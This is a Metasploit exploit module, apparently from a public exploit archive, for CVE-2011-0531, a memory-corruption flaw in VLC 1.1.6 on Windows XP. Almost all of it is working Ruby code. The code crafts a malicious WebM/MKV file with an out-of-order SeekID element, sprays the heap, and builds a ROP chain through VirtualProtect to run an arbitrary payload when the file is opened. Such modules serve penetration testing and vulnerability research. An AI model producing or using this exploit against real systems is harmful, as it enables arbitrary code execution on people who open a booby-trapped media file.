VideoLAN VLC Media Player 1.1.6 – ‘MKV’ Memory Corruption (Metasploit)
## # $Id: vlc_webm.rb 11725 2011-02-08 18:22:36Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN VLC MKV Memory Corruption', 'Description' => %q{ This module exploits an input validation error in VideoLAN VLC < 1.1.7. By creating a malicious MKV or WebM file, a remote attacker could execute arbitrary code. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dan Rosenberg' ], 'Version' => '$Revision: 11725 $', 'References' => [ [ 'OSVDB', '70698' ], [ 'CVE', '2011-0531' ], [ 'BID', '46060' ], [ 'URL', 'http://git.videolan.org/?p=vlc.git&a=commitdiff&h=59491dcedffbf97612d2c572943b56ee4289dd07&hp=f085cfc1c95b922e3c750ee93ec58c3f2d5f7456' ], [ 'URL', 'http://www.videolan.org/security/sa1102.html' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'VLC 1.1.6 on Windows XP SP3', { 'SprayTarget' => 0x030b030a, 'Ret' => 0x6ce091b5, # Pointer to SprayTarget 'Base' => 0x6cd00000, # Base of libtaglib_plugin.dll } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jan 31, 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.webm']), ], self.class) end def exploit rop_base = target["Base"] spray = target["SprayTarget"] # EBML Header file = "\x1A\x45\xDF\xA3" # EBML file << "\x01\x00\x00\x00" file << "\x00\x00\x00\x1F" file << "\x42\x86\x81\x01" # EBMLVersion = 1 file << "\x42\xF7\x81\x01" # EBMLReadVersion = 1 file << "\x42\xF2\x81\x04" # EBMLMaxIDLength = 4 file << "\x42\xF3\x81\x08" # EBMLMaxSizeLength = 8 file << "\x42\x82\x84\x77" # DocType = "webm" file << "\x65\x62\x6D" file << "\x42\x87\x81\x02" # DocTypeVersion = 2 file << "\x42\x85\x81\x02" # DocTypeReadVersion = 2 # Segment data file << "\x18\x53\x80\x67" # (0) Segment file << "\x01\x00\x00\x00" file << "\x01\xD6\x22\xF1" # Seek data file << "\x11\x4D\x9B\x74" # (1) SeekHead file << "\x40\x3F" file << "\x4D\xBB\x8B" # (2) Seek file << "\x53\xAB\x84" # (3) SeekID = Segment Info file << "\x15\x49\xA9\x66" # file << "\x53\xAC\x81" # (3) SeekPosition file << "\xff" # index of segment info # Trigger the bug with an out-of-order element file << "\x53\xAB\x84" # (3) SeekID = Tracks file << "\x16\x54\xAE\x6B" # file << "\x42" * 228 # Padding # Data file << "\x15\x49\xA9\x66" # (1) Segment Info file << "\x01\x00\x00\x00" # file << "\x01\xff\xff\xff" # This triggers our heap spray... file << [target.ret].pack('V') # Pointer to our heap spray # The alignment plays nice, so EIP will always # hit our pivot when our heapspray works. ESI contains # 0x030b030a, which will point to one of our "pop; retn" # pointers, so this works as both a pivot and NOPsled block = [ rop_base + 0x229a5, # xcgh esi,esp; retn rop_base + 0x2c283, # pop eax; retn 0xdeadbeef, # pad rop_base + 0x2c283, # pop eax; retn ] block = block.pack('V*') # ROP payload rop = [ rop_base + 0x1022, # retn # Call VirtualProtect() rop_base + 0x2c283, # pop eax; retn rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax rop_base + 0x12fda, # mov eax,DWORD PTR [eax] rop_base + 0x29d13, # jmp eax rop_base + 0x1022, # retn spray & ~0xfff, # lpAddress 0x60000, # dwSize 0x40, # flNewProtect spray - 0x1000, # lpfOldProtect # Enough of this ROP business... rop_base + 0xdace8 # push esp; retn ] rop = rop.pack('V*') # Overwrite the bad pointer with the address of an infinite # loop so the other threads spin instead of crashing rop << "\xc7\x05" rop << [spray + 0xc].pack('V') rop << [rop_base + 0x1c070].pack('V') # mov DWORD PTR ds:[ptr],&loop # Restore the stack rop << "\x87\xe6" # xchg esi,esp # Payload rop << payload.encoded # We need to be 16-byte aligned rop << "\xcc" * (16 - rop.length % 16) # Heapspray and payload, go! 32.times { 0x3000.times { file << block } file << rop } print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(file) end end |